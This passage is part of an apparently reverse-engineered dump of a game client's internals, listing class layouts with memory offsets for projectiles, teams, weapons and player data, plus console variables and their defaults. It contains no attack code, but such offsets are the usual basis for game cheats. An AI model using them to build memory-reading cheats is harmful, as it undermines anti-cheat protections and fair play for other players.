m_weaponClassIndex +C_Projectile!0x1608 m_destructionDistance +C_Projectile!0x160c m_passThroughDepthTotal +C_Projectile!0x1610 m_modBitfield +C_Projectile!0x1614 m_overrideMods +C_Projectile!0x1618 m_projectileTrailIndex +C_Projectile!0x161c m_impactEffectTable +C_Projectile!0x1620 m_reducedEffects +C_Projectile!0x1624 m_projectileCreationTimeServer +C_Projectile!0x1628 m_weaponSource +C_Projectile!0x162c m_passThroughModCount +C_Projectile!0x1630 m_passThroughPoints +C_Projectile!0x163c m_preModdedTrailEffectIndices1p +C_Projectile!0x1640 m_preModdedTrailEffectIndices3p +C_Projectile!0x1644 m_launchOrigin +C_Projectile!0x1650 m_wpnData +C_Projectile!0x1658 m_hWeaponFileInfo +C_Projectile!0x165c m_weaponChargeLevel +C_Projectile!0x1660 m_weaponChargeFraction +C_Projectile!0x1668 m_modVars +C_Projectile!0x28d8 m_modVarsAreValid +C_Projectile!0x28dc m_launchVel +C_Projectile!0x28e8 m_scriptCB +C_Projectile!0x2910 m_hasPlayedTrailEffect +C_Projectile!0x2914 m_projectileLifeTimeEndTick +C_Projectile!0x2918 m_projectileCreationTime +C_Projectile!0x291c m_isVortexRefired +C_Projectile!0x291d m_damageAliveOnly +C_Projectile!0x291e m_usesPositionFunction +C_Projectile!0x2920 m_lastCollisionNormal +C_Projectile!0x292c m_bounceIndex +C_Projectile!0x2930 m_randomInt +C_Projectile!0x2934 m_thrownByAI +C_Projectile!0x2938 m_perPolyRadius +C_Projectile!0x2940 m_posBeforePhysicsSimulate +C_Projectile!0x294c m_hasIgnited +C_Projectile!0x294d m_inLagCompensation +C_Projectile!0x2950 m_passEntities +C_Projectile!0x29b8 m_projectileSpeed +C_Projectile!0x29d8 m_wantStartTrailEffect +C_Projectile!0x29da m_hasCalledPostDataUpdate +``` +
+
+class C_PropDoor + +``` +{ + m_localOrigin: Vector, + m_localAngles: Vector, + m_nNextThinkTick: Int, + m_angle: Float, + m_startAngle: Float, + m_startAngleVel: Float, + m_startMoveTime: Time, + m_nextHitSoundTime: Float, + m_lastThinkTime: Float, + m_interactingPlayer: EHANDLE, + m_interactingPlayerWantsOpen: Bool, + m_useDebounceEndTime: Time, + m_prevAngle: Float, +} +``` + +### Offsets + +``` +C_PropDoor!0x0158 m_localOrigin +C_PropDoor!0x0164 m_localAngles +C_PropDoor!0x054c m_nNextThinkTick +C_PropDoor!0x1674 m_angle +C_PropDoor!0x1678 m_startAngle +C_PropDoor!0x167c m_startAngleVel +C_PropDoor!0x1680 m_startMoveTime +C_PropDoor!0x168c m_nextHitSoundTime +C_PropDoor!0x1690 m_lastThinkTime +C_PropDoor!0x16d8 m_interactingPlayer +C_PropDoor!0x16dc m_interactingPlayerWantsOpen +C_PropDoor!0x16e0 m_useDebounceEndTime +C_PropDoor!0x16e8 m_prevAngle +``` +
+
+class C_SequenceTransitioner + +``` +{ + m_sequenceTransitionerLayers: C_SequenceTransitionerLayer, + m_sequenceTransitionerLayerCount: Int, +} +``` + +### Offsets + +``` +C_SequenceTransitioner!0x0050 m_sequenceTransitionerLayers +C_SequenceTransitioner!0x01a0 m_sequenceTransitionerLayerCount +``` +
+
+class C_SequenceTransitionerLayer + +``` +{ + m_sequenceTransitionerLayerActive: Bool, + m_sequenceTransitionerLayerStartCycle: Float, + m_sequenceTransitionerLayerSequence: Int, + m_weight: Float, + m_sequenceTransitionerLayerPlaybackRate: Float, + m_sequenceTransitionerLayerStartTime: Time, + m_sequenceTransitionerLayerFadeOutDuration: Float, +} +``` + +### Offsets + +``` +C_SequenceTransitionerLayer!0x0018 m_sequenceTransitionerLayerActive +C_SequenceTransitionerLayer!0x001c m_sequenceTransitionerLayerStartCycle +C_SequenceTransitionerLayer!0x0020 m_sequenceTransitionerLayerSequence +C_SequenceTransitionerLayer!0x0024 m_weight +C_SequenceTransitionerLayer!0x0028 m_sequenceTransitionerLayerPlaybackRate +C_SequenceTransitionerLayer!0x002c m_sequenceTransitionerLayerStartTime +C_SequenceTransitionerLayer!0x0030 m_sequenceTransitionerLayerFadeOutDuration +``` +
+
+class C_Team extends C_BaseEntity + +``` +{ + m_score: Int, + m_score2: Int, + m_kills: Int, + m_deaths: Int, + m_iRoundsWon: Int, + m_iTeamTeamNum: Int, + m_szTeamname: Char, +} +``` + +### Offsets + +``` +C_Team!0x0a40 m_score +C_Team!0x0a44 m_score2 +C_Team!0x0a48 m_kills +C_Team!0x0a4c m_deaths +C_Team!0x0a50 m_iRoundsWon +C_Team!0x0a54 m_iTeamTeamNum +C_Team!0x0a78 m_szTeamname +``` +
+
+class C_TriggerCylinderHeavy + +``` +{ + m_teslaTrapObstructedEndTime: Time, +} +``` + +### Offsets + +``` +C_TriggerCylinderHeavy!0x0b1c m_teslaTrapObstructedEndTime +``` +
+
+class C_VortexSphere extends C_BaseEntity + +``` +{ + m_enabled: Bool, + m_radius: Float, + m_height: Float, + m_bulletFov: Float, + m_bulletAbsorbedCount: Int, + m_projectileAbsorbedCount: Int, + m_ownerWeapon: EHANDLE, + m_vortexEffect: EHANDLE, + m_vortexLocalAngles: Vector, + m_gunAttachment: String, + m_listPrev: Outer, + m_listNext: Outer, +} +``` + +### Offsets + +``` +C_VortexSphere!0x0a40 m_enabled +C_VortexSphere!0x0a44 m_radius +C_VortexSphere!0x0a48 m_height +C_VortexSphere!0x0a4c m_bulletFov +C_VortexSphere!0x0a50 m_bulletAbsorbedCount +C_VortexSphere!0x0a54 m_projectileAbsorbedCount +C_VortexSphere!0x0a58 m_ownerWeapon +C_VortexSphere!0x0a5c m_vortexEffect +C_VortexSphere!0x0a60 m_vortexLocalAngles +C_VortexSphere!0x0a70 m_gunAttachment +C_VortexSphere!0x0a78 m_listPrev +C_VortexSphere!0x0a80 m_listNext +``` +
+
+class C_WallrunCurve extends C_GameplayHint + +``` +{ + width: Int, + height: Int, +} +``` + +### Offsets + +``` +C_WallrunCurve!0x0a80 width +C_WallrunCurve!0x0a84 height +``` +
+
+class C_WindowHint extends C_GameplayHint + +``` +{ + normal: Vector, + right: Vector, + halfSize: Float, + halfSize[0]: Float, + halfSize[1]: Float, +} +``` + +### Offsets + +``` +C_WindowHint!0x0a80 normal +C_WindowHint!0x0a8c right +C_WindowHint!0x0a98 halfSize +C_WindowHint!0x0a98 halfSize[0] +C_WindowHint!0x0a9c halfSize[1] +``` +
+
+class C_Zipline extends C_BaseEntity + +``` +{ + m_ziplinePhysics: C_ZiplinePhysics, + m_detachEndOnUse: Bool, + m_currentFrameZipline.numZiplinePoints: Int, + m_currentFrameZipline.ziplinePositions: Vector, + m_currentFrameZipline.ziplinePreviousPositions: Vector, + m_currentFrameZipline.ziplineDistances: Float, +} +``` + +### Offsets + +``` +C_Zipline!0x0a40 m_ziplinePhysics +C_Zipline!0x0d94 m_detachEndOnUse +C_Zipline!0x0e80 m_currentFrameZipline.numZiplinePoints +C_Zipline!0x0e84 m_currentFrameZipline.ziplinePositions +C_Zipline!0x0f44 m_currentFrameZipline.ziplinePreviousPositions +C_Zipline!0x1004 m_currentFrameZipline.ziplineDistances +``` +
+
+class C_ZiplinePhysics + +``` +{ + m_ziplineType: Int, + m_ziplineStart: Vector, + m_ziplineEnd: Vector, + m_nodes: C_ZiplinePhysicsNode, + m_numNodes: Int, + m_springDistance: Int, + m_remainingUnsimulatedTime: Float, + m_attachedEntities: C_ZiplinePhysicsAttachedEntity, + m_numAttachedEntities: Int, + m_ziplineOwner: EHANDLE, +} +``` + +### Offsets + +``` +C_ZiplinePhysics!0x000c m_ziplineType +C_ZiplinePhysics!0x0010 m_ziplineStart +C_ZiplinePhysics!0x001c m_ziplineEnd +C_ZiplinePhysics!0x0028 m_nodes +C_ZiplinePhysics!0x0228 m_numNodes +C_ZiplinePhysics!0x022c m_springDistance +C_ZiplinePhysics!0x0234 m_remainingUnsimulatedTime +C_ZiplinePhysics!0x0240 m_attachedEntities +C_ZiplinePhysics!0x0340 m_numAttachedEntities +C_ZiplinePhysics!0x0344 m_ziplineOwner +``` +
+
+class C_ZiplinePhysicsAttachedEntity + +``` +{ + entity: EHANDLE, + attachAcceleration: Vector, + attachTime: Float, +} +``` + +### Offsets + +``` +C_ZiplinePhysicsAttachedEntity!0x0008 entity +C_ZiplinePhysicsAttachedEntity!0x000c attachAcceleration +C_ZiplinePhysicsAttachedEntity!0x0018 attachTime +``` +
+
+class C_ZiplinePhysicsNode + +``` +{ + position: Vector, + prevPosition: Vector, +} +``` + +### Offsets + +``` +C_ZiplinePhysicsNode!0x0008 position +C_ZiplinePhysicsNode!0x0014 prevPosition +``` +
+
+class GrappleData + +``` +{ + m_grappleVel: Vector, + m_grapplePoints: Vector, + m_grapplePointCount: Int, + m_grappleAttached: Bool, + m_grapplePulling: Bool, + m_grappleSwinging: Bool, + m_grappleRetracting: Bool, + m_grappleForcedRetracting: Bool, + m_grappleGracePeriodFinished: Bool, + m_grappleUsedPower: Float, + m_grappleActivateTime: Time, + m_grapplePullTime: Time, + m_grappleAttachTime: Time, + m_grappleDetachTime: Time, + m_grappleMeleeTarget: EHANDLE, + m_grappleAutoAimTarget: EHANDLE, + m_grappleSwingDetachLowSpeed: Float, + m_grappleSwingHoldTime: Time, +} +``` + +### Offsets + +``` +GrappleData!0x0008 m_grappleVel +GrappleData!0x0014 m_grapplePoints +GrappleData!0x0044 m_grapplePointCount +GrappleData!0x0048 m_grappleAttached +GrappleData!0x0049 m_grapplePulling +GrappleData!0x004a m_grappleSwinging +GrappleData!0x004b m_grappleRetracting +GrappleData!0x004c m_grappleForcedRetracting +GrappleData!0x004d m_grappleGracePeriodFinished +GrappleData!0x0050 m_grappleUsedPower +GrappleData!0x0054 m_grappleActivateTime +GrappleData!0x0058 m_grapplePullTime +GrappleData!0x005c m_grappleAttachTime +GrappleData!0x0060 m_grappleDetachTime +GrappleData!0x0064 m_grappleMeleeTarget +GrappleData!0x0068 m_grappleAutoAimTarget +GrappleData!0x0074 m_grappleSwingDetachLowSpeed +GrappleData!0x0078 m_grappleSwingHoldTime +``` +
+
+class MissilePathExpandContractSettings_Client + +``` +{ + launchOutVec: Vector, + launchInVec: Vector, + launchOutTime: Time, + launchInLerpTime: Time, + launchInTime: Time, + launchStraightLerpTime: Time, + endPos: Vector, + applyRandSpread: Bool, +} +``` + +### Offsets + +``` +MissilePathExpandContractSettings_Client!0x0004 launchOutVec +MissilePathExpandContractSettings_Client!0x0010 launchInVec +MissilePathExpandContractSettings_Client!0x0028 launchOutTime +MissilePathExpandContractSettings_Client!0x002c launchInLerpTime +MissilePathExpandContractSettings_Client!0x0030 launchInTime +MissilePathExpandContractSettings_Client!0x0034 launchStraightLerpTime +MissilePathExpandContractSettings_Client!0x003c endPos +MissilePathExpandContractSettings_Client!0x0054 applyRandSpread +``` +
+
+class PlayerMelee_PlayerData + +``` +{ + meleeAttackParity: Int, + attackActive: Bool, + attackRecoveryShouldBeQuick: Bool, + isSprintAttack: Bool, + attackStartTime: Time, + attackHitEntity: EHANDLE, + attackHitEntityTime: Time, + attackLastHitNonWorldEntity: Time, + scriptedState: Int, + pendingMeleePress: Bool, + lungeBoost: Vector, +} +``` + +### Offsets + +``` +PlayerMelee_PlayerData!0x0008 meleeAttackParity +PlayerMelee_PlayerData!0x000c attackActive +PlayerMelee_PlayerData!0x000d attackRecoveryShouldBeQuick +PlayerMelee_PlayerData!0x000e isSprintAttack +PlayerMelee_PlayerData!0x0010 attackStartTime +PlayerMelee_PlayerData!0x0014 attackHitEntity +PlayerMelee_PlayerData!0x0018 attackHitEntityTime +PlayerMelee_PlayerData!0x001c attackLastHitNonWorldEntity +PlayerMelee_PlayerData!0x0020 scriptedState +PlayerMelee_PlayerData!0x0024 pendingMeleePress +PlayerMelee_PlayerData!0x0028 lungeBoost +``` +
+
+class PlayerZiplineData_Client + +``` +{ + m_ziplineReenableWeapons: Bool, + m_mountingZiplineDuration: Float, + m_mountingZiplineAlpha: Float, + m_ziplineStartTime: Time, + m_ziplineEndTime: Time, + m_mountingZiplineSourcePosition: Vector, + m_mountingZiplineSourceVelocity: Vector, + m_mountingZiplineTargetPosition: Vector, + m_ziplineUsePosition: Vector, + m_slidingZiplineAlpha: Float, + m_lastMoveDir2D: Vector, + m_ziplineReverse: Bool, +} +``` + +### Offsets + +``` +PlayerZiplineData_Client!0x0008 m_ziplineReenableWeapons +PlayerZiplineData_Client!0x000c m_mountingZiplineDuration +PlayerZiplineData_Client!0x0010 m_mountingZiplineAlpha +PlayerZiplineData_Client!0x0014 m_ziplineStartTime +PlayerZiplineData_Client!0x0018 m_ziplineEndTime +PlayerZiplineData_Client!0x001c m_mountingZiplineSourcePosition +PlayerZiplineData_Client!0x0028 m_mountingZiplineSourceVelocity +PlayerZiplineData_Client!0x0034 m_mountingZiplineTargetPosition +PlayerZiplineData_Client!0x004c m_ziplineUsePosition +PlayerZiplineData_Client!0x0058 m_slidingZiplineAlpha +PlayerZiplineData_Client!0x005c m_lastMoveDir2D +PlayerZiplineData_Client!0x0068 m_ziplineReverse +``` +
+
+class Player_ViewOffsetEntityData + +``` +{ + viewOffsetEntityHandle: EHANDLE, + lerpInDuration: Float, + lerpOutDuration: Float, + stabilizePlayerEyeAngles: Bool, +} +``` + +### Offsets + +``` +Player_ViewOffsetEntityData!0x0008 viewOffsetEntityHandle +Player_ViewOffsetEntityData!0x000c lerpInDuration +Player_ViewOffsetEntityData!0x0010 lerpOutDuration +Player_ViewOffsetEntityData!0x0014 stabilizePlayerEyeAngles +``` +
+
+class PredictedAnimEventData + +``` +{ + m_predictedAnimEventTimes: Time, + m_predictedAnimEventIndices: Int, + m_predictedAnimEventCount: Int, + m_predictedAnimEventTarget: EHANDLE, + m_predictedAnimEventSequence: Int, + m_predictedAnimEventModel: Int, + m_predictedAnimEventsReadyToFireTime: Time, +} +``` + +### Offsets + +``` +PredictedAnimEventData!0x0008 m_predictedAnimEventTimes +PredictedAnimEventData!0x0028 m_predictedAnimEventIndices +PredictedAnimEventData!0x0048 m_predictedAnimEventCount +PredictedAnimEventData!0x004c m_predictedAnimEventTarget +PredictedAnimEventData!0x0050 m_predictedAnimEventSequence +PredictedAnimEventData!0x0054 m_predictedAnimEventModel +PredictedAnimEventData!0x0058 m_predictedAnimEventsReadyToFireTime +``` +
+
+class StatusEffectEndlessData + +``` +{ + seComboVars: Int, +} +``` + +### Offsets + +``` +StatusEffectEndlessData!0x0008 seComboVars +``` +
+
+class StatusEffectTimedData + +``` +{ + seComboVars: Int, + seTimeEnd: Float, + seEaseOut: Float, +} +``` + +### Offsets + +``` +StatusEffectTimedData!0x0008 seComboVars +StatusEffectTimedData!0x000c seTimeEnd +StatusEffectTimedData!0x0010 seEaseOut +``` +
+
+class WeaponInventory_Client + +``` +{ + weapons: EHANDLE, + activeWeapons: EHANDLE, +} +``` + +### Offsets + +``` +WeaponInventory_Client!0x0008 weapons +WeaponInventory_Client!0x004c activeWeapons +``` +
+
+class WeaponPlayerData + +``` +{ + m_moveSpread: Float, + m_spreadStartTime: Time, + m_spreadStartFracHip: Float, + m_spreadStartFracADS: Float, + m_kickSpreadHipfire: Float, + m_kickSpreadADS: Float, + m_kickTime: Time, + m_kickScaleBasePitch: Float, + m_kickScaleBaseYaw: Float, + m_kickPatternScaleBase: Float, + m_kickSpringHeatBaseTime: Time, + m_kickSpringHeatBaseValue: Float, + m_semiAutoTriggerHoldTime: Time, + m_semiAutoTriggerDown: Bool, + m_pendingTriggerPull: Bool, + m_semiAutoNeedsRechamber: Bool, + m_pendingReloadAttempt: Bool, + m_offhandHybridNormalMode: Bool, + m_pendingoffhandHybridToss: Bool, + m_fastHolster: Bool, + m_didFirstDeploy: Bool, + m_shouldCatch: Bool, + m_clipModelIsHidden: Bool, + m_segmentedReloadEndSeqRequired: Bool, + m_reloadStartedEmpty: Bool, + m_segmentedAnimStartedOneHanded: Bool, + m_segmentedReloadCanRestartLoop: Bool, + m_segmentedReloadLoopFireLocked: Bool, + m_realtimeModCmds: Char, + m_realtimeModCmdHead: Char, + m_realtimeModCmdCount: Char, + m_customActivityAttachedModelIndex: Int, + m_customActivityAttachedModelAttachmentIndex: Int, + m_fireRateLerp_startTime: Time, + m_fireRateLerp_startFraction: Float, + m_fireRateLerp_stopTime: Time, + m_fireRateLerp_stopFraction: Float, + m_chargeAnimIndex: Int, + m_chargeAnimIndexOld: Int, + m_reloadMilestone: Int, + m_rechamberMilestone: Int, + m_cooldownMilestone: Int, + m_prevSeqWeight: Int, + m_fullReloadStartTime: Time, + m_scriptTime0: Time, + m_scriptFlags0: Int, + m_scriptInt0: Int, + m_curZoomFOV: Float, + m_targetZoomFOV: Float, + m_zoomFOVLerpTime: Float, + m_zoomFOVLerpEndTime: Time, + m_latestDryfireTime: Time, + m_requestedAttackEndTime: Time, + m_currentAltFireAnimIndex: Int, + m_legendaryModelIndex: Int, + m_charmModelIndex: Int, + m_charmAttachment: Int, + m_charmScriptIndex: Int, +} +``` + +### Offsets + +``` +WeaponPlayerData!0x0008 m_moveSpread +WeaponPlayerData!0x000c m_spreadStartTime +WeaponPlayerData!0x0010 m_spreadStartFracHip +WeaponPlayerData!0x0014 m_spreadStartFracADS +WeaponPlayerData!0x0018 m_kickSpreadHipfire +WeaponPlayerData!0x001c m_kickSpreadADS +WeaponPlayerData!0x0020 m_kickTime +WeaponPlayerData!0x0024 m_kickScaleBasePitch +WeaponPlayerData!0x0028 m_kickScaleBaseYaw +WeaponPlayerData!0x002c m_kickPatternScaleBase +WeaponPlayerData!0x0030 m_kickSpringHeatBaseTime +WeaponPlayerData!0x0034 m_kickSpringHeatBaseValue +WeaponPlayerData!0x0038 m_semiAutoTriggerHoldTime +WeaponPlayerData!0x003c m_semiAutoTriggerDown +WeaponPlayerData!0x003d m_pendingTriggerPull +WeaponPlayerData!0x003e m_semiAutoNeedsRechamber +WeaponPlayerData!0x003f m_pendingReloadAttempt +WeaponPlayerData!0x0040 m_offhandHybridNormalMode +WeaponPlayerData!0x0041 m_pendingoffhandHybridToss +WeaponPlayerData!0x0042 m_fastHolster +WeaponPlayerData!0x0043 m_didFirstDeploy +WeaponPlayerData!0x0044 m_shouldCatch +WeaponPlayerData!0x0045 m_clipModelIsHidden +WeaponPlayerData!0x0046 m_segmentedReloadEndSeqRequired +WeaponPlayerData!0x0047 m_reloadStartedEmpty +WeaponPlayerData!0x0048 m_segmentedAnimStartedOneHanded +WeaponPlayerData!0x0049 m_segmentedReloadCanRestartLoop +WeaponPlayerData!0x004a m_segmentedReloadLoopFireLocked +WeaponPlayerData!0x004b m_realtimeModCmds +WeaponPlayerData!0x0053 m_realtimeModCmdHead +WeaponPlayerData!0x0054 m_realtimeModCmdCount +WeaponPlayerData!0x0058 m_customActivityAttachedModelIndex +WeaponPlayerData!0x005c m_customActivityAttachedModelAttachmentIndex +WeaponPlayerData!0x0060 m_fireRateLerp_startTime +WeaponPlayerData!0x0064 m_fireRateLerp_startFraction +WeaponPlayerData!0x0068 m_fireRateLerp_stopTime +WeaponPlayerData!0x006c m_fireRateLerp_stopFraction +WeaponPlayerData!0x0070 m_chargeAnimIndex +WeaponPlayerData!0x0074 m_chargeAnimIndexOld +WeaponPlayerData!0x0094 m_reloadMilestone +WeaponPlayerData!0x0098 m_rechamberMilestone +WeaponPlayerData!0x009c m_cooldownMilestone +WeaponPlayerData!0x00a0 m_prevSeqWeight +WeaponPlayerData!0x00a4 m_fullReloadStartTime +WeaponPlayerData!0x00a8 m_scriptTime0 +WeaponPlayerData!0x00ac m_scriptFlags0 +WeaponPlayerData!0x00b0 m_scriptInt0 +WeaponPlayerData!0x00b4 m_curZoomFOV +WeaponPlayerData!0x00b8 m_targetZoomFOV +WeaponPlayerData!0x00bc m_zoomFOVLerpTime +WeaponPlayerData!0x00c0 m_zoomFOVLerpEndTime +WeaponPlayerData!0x00c4 m_latestDryfireTime +WeaponPlayerData!0x00c8 m_requestedAttackEndTime +WeaponPlayerData!0x00cc m_currentAltFireAnimIndex +WeaponPlayerData!0x00d0 m_legendaryModelIndex +WeaponPlayerData!0x00d4 m_charmModelIndex +WeaponPlayerData!0x00d8 m_charmAttachment +WeaponPlayerData!0x00dc m_charmScriptIndex +``` +
+
+class fogplayerparamsstate_t + +``` +{ + enable: Bool, + botAlt: Float, + topAlt: Float, + halfDistBot: Float, + halfDistTop: Float, + distOffset: Float, + densityScale: Float, + halfAngleDeg: Float, + distColorStr: Float, + dirColorStr: Float, + HDRColorScale: Float, + minFadeTime: Float, + forceOntoSky: Bool, + distColor: Color32, + dirColor: Color32, + vlParams.color: Vector, + vlParams.distFalloff: Float, + vlParams.intensity: Float, + vlParams.scatter: Float, + vlParams.inShadowScatter: Float, + direction: Vector, + id: Int, +} +``` + +### Offsets + +``` +fogplayerparamsstate_t!0x0000 enable +fogplayerparamsstate_t!0x0004 botAlt +fogplayerparamsstate_t!0x0008 topAlt +fogplayerparamsstate_t!0x000c halfDistBot +fogplayerparamsstate_t!0x0010 halfDistTop +fogplayerparamsstate_t!0x0014 distOffset +fogplayerparamsstate_t!0x0018 densityScale +fogplayerparamsstate_t!0x001c halfAngleDeg +fogplayerparamsstate_t!0x0020 distColorStr +fogplayerparamsstate_t!0x0024 dirColorStr +fogplayerparamsstate_t!0x0028 HDRColorScale +fogplayerparamsstate_t!0x002c minFadeTime +fogplayerparamsstate_t!0x0030 forceOntoSky +fogplayerparamsstate_t!0x0031 distColor +fogplayerparamsstate_t!0x0035 dirColor +fogplayerparamsstate_t!0x003c vlParams.color +fogplayerparamsstate_t!0x0048 vlParams.distFalloff +fogplayerparamsstate_t!0x004c vlParams.intensity +fogplayerparamsstate_t!0x0050 vlParams.scatter +fogplayerparamsstate_t!0x0054 vlParams.inShadowScatter +fogplayerparamsstate_t!0x0058 direction +fogplayerparamsstate_t!0x0064 id +``` +
+ +## ConVars + +
+ + +default: `"1.0"` +flags: `0x0` +
+
+Allow_auto_Party + + + +default: `"0"` +flags: `0x2` +
+
+BlendBonesMode + + + +default: `"2"` +flags: `0x2002` +
+
+CrossPlay_user_optin + +Our Crossplay opt-in preference + +default: `"1"` +flags: `0x1000200` +
+
+DigiCertGlobalRoot_usable + + + +default: `"1"` +flags: `0x2` +
+
+DoorSoundPrefixDouble + +Sound prefix for door sounds for double doors + +default: `"Door_Single_"` +flags: `0x2` +
+
+DoorSoundPrefixSingle + +Sound prefix for door sounds for single doors + +default: `"Door_Single_"` +flags: `0x2` +
+
+EADP_RTM_DELAY_QUERRY_SCRIPT_SECONDS + + + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_DELAY_QUERRY_SECONDS + + + +default: `"2"` +flags: `0x2` +
+
+EADP_RTM_Enabled + +Allow RTM code to work! + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_Productid + + + +default: `"r5"` +flags: `0x2` +
+
+EADP_SEARCH_Enabled + +Allow EADP SEARCH code to work! + +default: `"1"` +flags: `0x2` +
+
+EADP_optin_datachange_throttle + + + +default: `"2"` +flags: `0x2` +min value: `0.1` +max value: `5` +
+
+EADP_search_accountname_count + +The Number of responce from a name search. + +default: `"20"` +flags: `0x2` +
+
+EADP_search_use_starts_with + + + +default: `"1"` +flags: `0x2` +
+
+EADP_server_enviorment + + + +default: `"INT"` +flags: `0x2` +
+
+EAPD_friends_invite_has_platform + + + +default: `"1"` +flags: `0x2` +
+
+ScriptDisallowedToUsePersistenceOnSP + + + +default: `"0"` +flags: `0x2002` +
+
+ScriptSaveAllowed + + + +default: `"1"` +flags: `0x2002` +
+
+StreamMicDisabled + + + +default: `"0"` +flags: `0x2` +
+
+TLS_trust_cert + + + +default: `"0"` +flags: `0x2` +
+
+TalkIsStream + + + +default: `"0"` +flags: `0x80` +
+
+TextDataFromCommunityOnlyInLobby + + + +default: `"1"` +flags: `0x2` +
+
+VoiceDataFromCommunityOnlyInLobby + + + +default: `"1"` +flags: `0x2` +
+
+VoiceNeedsReset + + + +default: `"0"` +flags: `0x2` +
+
+add_to_parent_realms_default + + + +default: `"0"` +flags: `0x2` +
+
+ai_titan_grapple_max_len + + + +default: `"3000"` +flags: `0x2002` +
+
+airslowmo_enabled + +Enables air slowmo + +default: `"0"` +flags: `0x2002` +
+
+airslowmo_enter_time + +Duration it takes to reach full slowmo + +default: `"0.25"` +flags: `0x2002` +
+
+airslowmo_ground_immediate_end + +Controls whether air slowmo fades out after landing or immediately stops + +default: `"0"` +flags: `0x2002` +
+
+airslowmo_leave_time + +Duration it takes to leave full slowmo + +default: `"1.0"` +flags: `0x2002` +
+
+airslowmo_scripted_speed + + + +default: `"0.8"` +flags: `0x2002` +
+
+airslowmo_when_hovering + +Replaces hovering with air slowmo + +default: `"1"` +flags: `0x2002` +
+
+animEvent_debug + +1 = sparse, 2 = verbose + +default: `"0"` +flags: `0x2002` +
+
+animEvent_debugEnt + + + +default: `"0"` +flags: `0x2` +
+
+animEvent_debug_cl + +1 = sparse, 2 = verbose + +default: `"0"` +flags: `0x2` +
+
+anim_estimateVelocity + + + +default: `"0"` +flags: `0x2002` +
+
+anim_playerMovementAngleMargin + + + +default: `"10"` +flags: `0x2002` +
+
+anim_player_ragdoll_fix + + + +default: `"1"` +flags: `0x2002` +
+
+anim_print_transition_overflow + + + +default: `"0"` +flags: `0x2002` +
+
+anim_runGestureAnimEventsToCompletionOnReset_client + + + +default: `"0"` +flags: `0x6000` +
+
+anim_showstate + +Show the (client) animation state for the specified entity (-1 for none). + +default: `"-1"` +flags: `0x6002` +
+
+anim_showstatelog + +1 to output anim_showstate to Msg(). 2 to store in AnimState.log. 3 for both. + +default: `"0"` +flags: `0x6002` +
+
+anim_transitionsequences + +Enables blended transitions between sequences. + +default: `"1"` +flags: `0x2002` +
+
+anim_view_entity_third_person_camera_use_move_parent + + + +default: `"0"` +flags: `0x2002` +
+
+announcement + + + +default: `""` +flags: `0x12` +
+
+announcementImage + + + +default: `""` +flags: `0x12` +
+
+announcementVersion + + + +default: `"0"` +flags: `0x12` +
+
+assetdownloads_desiredState + + + +default: `"1"` +flags: `0x2` +
+
+assetdownloads_enabled + + + +default: `"1"` +flags: `0x2` +
+
+assetdownloads_hostname + + + +default: `"r5-assets.stryder.respawn.com"` +flags: `0x2` +
+
+async_serialize + +Force async reads to serialize for profiling + +default: `"0"` +flags: `0x2` +
+
+automantle_backoff_anim_maxfrac + +Fraction of mantle after which pulling back simply aborts the mantle + +default: `"0.7"` +flags: `0x2002` +
+
+automantle_cooldown + +Minimum time between mantles + +default: `".25"` +flags: `0x2002` +
+
+automantle_dangle_required_space + +Required space under the ledge to dangle + +default: `"60"` +flags: `0x2002` +
+
+automantle_debug + +Debugs player auto-mantle behavior + +default: `"0"` +flags: `0x2002` +
+
+automantle_disable_hang + +disables the hang mantle behavior + +default: `"0"` +flags: `0x2002` +
+
+automantle_enable + +Enables player auto-mantle behavior + +default: `"1"` +flags: `0x2002` +
+
+automantle_forwarddist + +Distance forward to do the ground check from when auto-mantling + +default: `"26.f"` +flags: `0x2002` +
+
+automantle_gun_enable_height + +Eye height above ledge at which gun is reenabled + +default: `"33"` +flags: `0x2002` +
+
+automantle_height_above + +Mantle height above ledge below which the "above" animation is used and above which the "high" animation is used + +default: `"30"` +flags: `0x2002` +
+
+automantle_height_below + +Mantle height above ledge below which the "below" animation is used + +default: `"-10"` +flags: `0x2002` +
+
+automantle_height_level + +Mantle height above ledge below which the "level" animation is used + +default: `"10"` +flags: `0x2002` +
+
+automantle_jumpoff_anim_maxfrac + +Maximum fraction of mantle at which jump off animation is played + +default: `"0.5"` +flags: `0x2002` +
+
+automantle_jumpoff_duration + +Duration of jump off animation when jumping off + +default: `"0.1"` +flags: `0x2002` +
+
+automantle_max_frac + +Fractional amount (0-1) player can move forward without hitting jump. + +default: `"0.5"` +flags: `0x2002` +
+
+automantle_maxangle_push + +Max angle the player can be pushing from the wall normal to auto-mantle + +default: `"50"` +flags: `0x2002` +
+
+automantle_maxangle_view + +Max angle the player can be facing from the wall to auto-mantle + +default: `"50"` +flags: `0x2002` +
+
+automantle_min_frac + +Fractional amount (0-1) player can move backward without hitting jump. + +default: `"0.1"` +flags: `0x2002` +
+
+automantle_mindist + +Minimum forward distance when auto-mantling + +default: `"18.f"` +flags: `0x2002` +
+
+automantle_rest_frac + +Fractional amount (0-1) player will tend toward when no input is given. + +default: `"0.4"` +flags: `0x2002` +
+
+automantle_rest_frac_below + +Replaces rest_frac when using the "below" animation + +default: `"0.3"` +flags: `0x2002` +
+
+automantle_searchdist + +Forward distance within which to look for a ledge to auto-mantle + +default: `"5.f"` +flags: `0x2002` +
+
+automantle_view_correction_speed + +Speed at which view direction is clamped when mantling + +default: `"180"` +flags: `0x4000` +
+
+automantle_view_high_yaw_max + +Max view yaw when mantling with the "high" mantle animation + +default: `"90"` +flags: `0x4000` +
+
+automantle_view_pitch_max + +Max view pitch when mantling + +default: `"35"` +flags: `0x4000` +
+
+automantle_view_pitch_min + +Min view pitch when mantling + +default: `"-80"` +flags: `0x4000` +
+
+automantle_view_yaw_max + +Max view yaw when mantling + +default: `"60"` +flags: `0x4000` +
+
+automantle_wallrun_maxangle_view + +Max angle the player can be facing from the wall to auto-mantle while wall running + +default: `"45"` +flags: `0x2002` +
+
+baseanimatingoverlay_playbackRateThreshold + + + +default: `"0.05"` +flags: `0x2` +
+
+baselines_print + + + +default: `"0"` +flags: `0x2` +
+
+bhit_enable + +Enables bhit commands from the client + +default: `"0"` +flags: `0x2002` +
+
+bhit_reliable + +Makes bhit commands reliable messages + +default: `"1"` +flags: `0x2002` +
+
+bink_materials_enabled + +Allows materials with 'Emissive Uses Video' checked to play video on the material + +default: `"1"` +flags: `0x2` +
+
+bink_preload_videopanel_movies + +Preload Bink movies used by VideoPanel. + +default: `"1"` +flags: `0x2` +
+
